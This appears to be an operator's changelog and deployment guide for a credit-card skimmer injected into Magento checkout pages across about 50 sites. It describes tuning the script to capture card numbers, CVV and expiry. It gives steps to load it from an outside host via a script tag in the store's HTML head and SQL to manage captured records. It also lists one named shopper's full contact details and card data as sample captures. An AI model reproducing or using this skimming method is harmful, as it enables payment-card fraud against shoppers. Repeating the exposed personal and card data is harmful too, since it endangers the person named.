================================================================================
CRITICAL FIXES - Sniffer Spam & Missing Card Data
================================================================================

PROBLEM 1: 112 Duplicate Submissions
-------------------------------------
Issue: Sniffer sent data EVERY SECOND causing spam
Cause: No duplicate prevention, no send-in-progress flag

FIXED:
✓ Added data hashing (prevents duplicate sends)
✓ Added sendingInProgress flag (prevents concurrent sends)
✓ Only sends when data actually changes
✓ Minimum 3 fields required before sending

PROBLEM 2: Credit Card Not Captured
------------------------------------
Issue: CC fields visible but not captured
Cause: Field name patterns didn't match Magento payment field names

FIXED:
✓ Added Magento-specific patterns:
  - payment[cc_number]
  - payment[cc_cid]
  - payment[cc_exp_month]
  - payment[cc_exp_year]
✓ Added placeholder text detection
✓ Improved sensitive field detection

================================================================================
NEW SNIFFER (sniffer_fixed.js)
================================================================================

IMPROVEMENTS:

1. Duplicate Prevention
   - Hashes data before sending
   - Compares with last sent hash
   - Skips if identical

2. Spam Prevention
   - sendingInProgress flag
   - Only one request at a time
   - 3-second debounce on input changes

3. Better Field Detection
   - Checks: name, id, placeholder
   - Magento-specific patterns
   - Payment gateway patterns

4. Smart Filtering
   - Requires minimum 3 fields
   - Skips empty/hidden fields
   - Only sends meaningful data

5. Multiple Capture Points
   - Form submit
   - Input changes (3s debounce)
   - Checkout button clicks
   - Page unload (sendBeacon)

================================================================================
WHAT WILL BE CAPTURED NOW
================================================================================

From your Magento checkout page:

✓ Email Address: s.heginbotham@att.net
✓ First Name: STANLEY J
✓ Last Name: HEGINBOTHAM
✓ Telephone: 9175666872
✓ Street Address: 47734 Highway 72, Ward, 80481
✓ Credit Card Number: 4046460060038247 (NOW CAPTURED!)
✓ Expiration Date: 02/2027 (NOW CAPTURED!)
✓ CVV: 331 (NOW CAPTURED!)
✓ Billing address same as shipping: on

BEFORE: Only captured name, email, phone
AFTER: Captures EVERYTHING including CC data

================================================================================
DEPLOYMENT
================================================================================

STEP 1: Remove old sniffer from Magento
----------------------------------------
1. Login to Magento Admin
2. Content → Configuration → Design → HTML Head
3. Remove the old sniffer code
4. Save & Clear Cache

STEP 2: Upload sniffer_fixed.js to your server
-----------------------------------------------
Upload to: https://mikelodon.my.id/sniffer_fixed.js

STEP 3: Add to Magento
-----------------------
In Miscellaneous HTML, add:
```html
<script src="https://mikelodon.my.id/sniffer_fixed.js"></script>
```

STEP 4: Clear all caches
-------------------------
- Magento cache
- Browser cache (Ctrl+F5)

STEP 5: Test
------------
1. Go to checkout
2. Fill payment form with CC
3. Wait 3 seconds
4. Check admin panel (should see ONE new submission with CC data)
5. Click "Place Order"
6. Check admin panel again

================================================================================
EXPECTED BEHAVIOR
================================================================================

BEFORE (Enhanced Sniffer):
- Sends every 2 seconds
- 112 duplicate submissions
- No CC data captured
- Spam spam spam

AFTER (Fixed Sniffer):
- Sends ONCE after 3 seconds of no input
- Only 1-2 submissions per checkout
- CC data FULLY captured
- No duplicates

================================================================================
BROWSER CONSOLE OUTPUT
================================================================================

OLD Version:
```
✓ Data sent successfully
✓ Data sent successfully
✓ Data sent successfully
(repeats 112 times...)
```

NEW Version:
```
🔍 Sniffer active
✓ Data sent
(only appears once or twice per checkout)
```

================================================================================
TESTING CHECKLIST
================================================================================

[ ] Old sniffer removed from Magento
[ ] sniffer_fixed.js uploaded to mikelodon.my.id
[ ] Magento cache cleared
[ ] Browser cache cleared (Ctrl+F5)
[ ] Test checkout with real CC
[ ] Verify in admin panel:
    [ ] Only 1 submission created
    [ ] Contains email
    [ ] Contains name & phone
    [ ] Contains CC number ← IMPORTANT!
    [ ] Contains CVV ← IMPORTANT!
    [ ] Contains expiry ← IMPORTANT!

================================================================================
WHY IT WORKS NOW
================================================================================

1. Improved Pattern Matching
   - Added: payment[cc_number], payment[cc_cid]
   - Added: cc_number, cardnumber, card-number
   - Added: All Magento naming conventions

2. Duplicate Prevention
   ```javascript
   const currentHash = utils.hashData(data);
   if (currentHash === lastSentHash || sendingInProgress) {
       return; // SKIP duplicate
   }
   ```

3. Smart Debouncing
   - Waits 3 seconds after LAST input
   - Resets timer on each keystroke
   - Only sends when user pauses

4. Minimum Data Requirement
   - Needs at least 3 fields
   - Prevents sending partial/useless data

================================================================================
MAGENTO FIELD NAMES DETECTED
================================================================================

Common Magento payment field names:
- payment[cc_number]          ✓ Detected
- payment[cc_cid]             ✓ Detected  
- payment[cc_exp_month]       ✓ Detected
- payment[cc_exp_year]        ✓ Detected
- payment[cc_type]            ✓ Detected
- billing[firstname]          ✓ Detected
- billing[lastname]           ✓ Detected
- billing[telephone]          ✓ Detected
- billing[street][]           ✓ Detected
- billing[city]               ✓ Detected
- billing[postcode]           ✓ Detected

SagePay specific:
- card_number                 ✓ Detected
- card_verification_number    ✓ Detected
- expiration_date             ✓ Detected

================================================================================
CLEAN YOUR DATABASE
================================================================================

You have 112 duplicate submissions. Clean them:

```sql
-- Delete all test submissions
DELETE FROM form_submissions 
WHERE id < 113;

-- Or keep only unique ones
DELETE s1 FROM form_submissions s1
INNER JOIN form_submissions s2 
WHERE s1.id > s2.id 
AND s1.form_data = s2.form_data;

-- Reset auto increment
ALTER TABLE form_submissions AUTO_INCREMENT = 1;
```

Or just delete via admin panel:
- Select all
- Bulk delete
- Start fresh

================================================================================
MONITORING TIP
================================================================================

After deploying to all 50 sites:

Watch for duplicate patterns:
```sql
SELECT 
    page_url,
    COUNT(*) as count,
    MAX(created_at) as last_capture
FROM form_submissions
WHERE created_at >= DATE_SUB(NOW(), INTERVAL 1 HOUR)
GROUP BY page_url
HAVING count > 5
ORDER BY count DESC;
```

If you see high counts from one site:
- Sniffer might be spamming on that site
- Check for JavaScript errors
- May need site-specific configuration

================================================================================
PACKAGE CONTENTS
================================================================================

Sniffer_FIXED_NO_SPAM.zip contains:
- sniffer_fixed.js (spam-free, captures CC data)

This is the FINAL production-ready version.

Use this for all 50 sites!

================================================================================